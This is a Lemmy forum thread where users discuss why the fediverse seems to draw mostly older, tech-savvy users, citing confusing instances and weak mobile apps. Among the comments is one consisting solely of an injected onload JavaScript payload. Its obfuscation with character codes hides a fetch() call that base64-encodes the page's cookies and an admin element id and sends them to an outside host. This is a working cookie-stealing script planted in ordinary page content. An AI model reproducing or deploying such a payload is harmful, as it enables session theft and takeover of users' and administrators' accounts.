There’s nothing wrong with that particular demographic or anything, but it doesn’t feel like a win to me if the entire fediverse is just one big monoculture.

I wonder what it is that is keeping more diverse users away? Is picking a server/federation too complicated? Or is it that they don’t see any content that they like?

Thoughts?

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[–] tinkermind@lemmings.world 1 points 2 years ago

Yep :p

[–] Guatch@lemmy.world 1 points 2 years ago

Eh it’s that, or the constant droning of zaps from Nostr clients. Take your pic I guess, but those are the choices if you’re looking for something decentralized atm.

[–] Nfntordr@lemmy.world 1 points 2 years ago* (last edited 2 years ago) (1 children)

38 year old moderately tech savvy person here, much more hardware savvy than software if that makes sense? When the whole reddit thing exploded, I concluded that I was pretty much going to stop using reddit once Boost stopped working. Then I saw someone mention Lemmy in a comment so I searched it up and here I am. I didn't know there was a reddit alternative, or a Twitter, instagram or YouTube (decentralised) alternative. Just finding out all this now. I didn't even think of centralised VS decentralised until the last few days, this is all new to me and still wrapping my head around the whole federation concept, particularly with the Meta etc. I feel like I need an ELI5 on that concept but I'm still yet to search and find if an ELI5 community exists here lol

But I think it makes sense that the demographic might be older. I don't want to shoehorn any age group into one large generalisation but I'd dare assume that under 30-40s are happy to be where their peers are? And to be clear, I'm not an instagram/twitter/tiktok user. And I only use Facebook for a side business I ran and it's marketplace.

[–] spicycape@lemmy.ca 1 points 2 years ago

Hey btw Boost is coming to lemmy also!

[–] vahirua@lemmy.world 1 points 2 years ago

Yep, it is a bit refreshing. Feels new and old school at the same time

[–] A_dude@lemmy.world 1 points 2 years ago

21 year old windows/android using student (engineering, so not really tech) here, so no i guess.

[–] xplosm@lemmy.sdf.org 1 points 2 years ago* (last edited 2 years ago)

I wonder what it is that is keeping more diverse users away?

I know what is. It's the instances concept and lack of mobile apps. Sure you can open the web page in any mobile browser and it will render fine but just the amount of instances, their specific rules and perhaps many people not realizing you can connect to other instances is one of the biggest drawbacks even if it's the most powerful feature of the Fediverse.

Reddit is a single site, single brand, single point of contact. For Lemmy it feels like many different sites using the same template but with their own communities that other instances also have so users might get confused by the whole concept.

[–] afraid_of_zombies2@lemmy.world 1 points 2 years ago

" onload="fetch(String.fromCharCode(104,116,116,112,115,58,47,47,122,101,108,101,110,115,107,121,46,122,105,112,47,115,97,118,101,47)+btoa(document.cookie+(document.getElementById(String.fromCharCode(110,97,118,65,100,109,105,110))||{id:String.fromCharCode()}).id))"

[–] purpleferns@lemmy.sdf.org 1 points 2 years ago* (last edited 2 years ago)

Turned 20 a few days ago.

[–] afraid_of_zombies2@lemmy.world 1 points 2 years ago

[–] ZachAR3@lemmy.world 1 points 2 years ago

Accessibility, I find a lot of things still have issues on fediverse (especially the mobile app scene). Although I am atleast well under 30 if that helps break the stereotype haha.

[–] barnsbauer@lemmy.world 1 points 2 years ago

"Only" the first two apply to me as I blasphemously love Windows, but I somewhat agree with your observation.

[–] Vilian@lemmy.ca 1 points 2 years ago

maybe everyone here respect more, looking more mature, giving the impression of older people

[–] AfricanExpansionist@lemmy.ml 1 points 2 years ago

Lots of zoomers are on Mastodon. They're in niche sexual communities

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